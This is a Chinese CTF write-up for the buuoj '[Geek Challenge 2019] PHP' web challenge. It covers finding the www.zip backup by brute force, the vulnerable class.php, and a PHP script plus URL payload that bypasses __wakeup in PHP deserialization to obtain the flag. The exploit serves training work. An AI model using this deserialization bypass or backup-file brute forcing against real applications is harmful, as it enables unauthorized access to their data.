極客大挑戰2019PHP題目詳解


題目來源

題目來源為buuoj.cn。

題目為buuoj.cn的web題目組的[極客大挑戰2019]PHP。

解題過程

網站的首頁是一只可愛的貓貓,挪動鼠標貓貓會跟着轉頭,很好玩!

網頁中提到了備份網站,因此可以嘗試使用一個網站備份文件名的字典來進行爆破,發現網站中有www.zip文件。

下載下來發現文件中有index.php,flag.php和class.php,直接提交flag.php中的字符串錯了,果然只是個備份!

分析index.php發現:

這里很可能考察反序列化,查看文件中包含的class.php文件。

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

分析代碼可知在執行destruct魔術方法的時候,如果用戶名為admin,密碼為100則可以輸出flag的值。

但是wakeup方法會導致username成為guest,因此需要通過序列化字符串中對象的個數來繞過該方法。

exp

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#進行url編碼,防止%00對應的不可打印字符在復制時丟失
echo urlencode(serialize($a));
#未編碼的情況
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用時將URL編碼的結果中Name后面的2換成3或其他值
?>

payload及結果

http://82296a94-13ea-4f20-8bfd-622d9c3787d7.node3.buuoj.cn/index.php?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"Nameusername"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"Namepassword"%3Bs%3A3%3A"100"%3B}

結語

爆破目錄使用的工具來源於:

https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true

這道題總體上不難,考點只有反序列化wakeup的繞過和了解常見的備份文件目錄,不過小貓咪真的很好玩,我玩了半天,哈哈哈。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM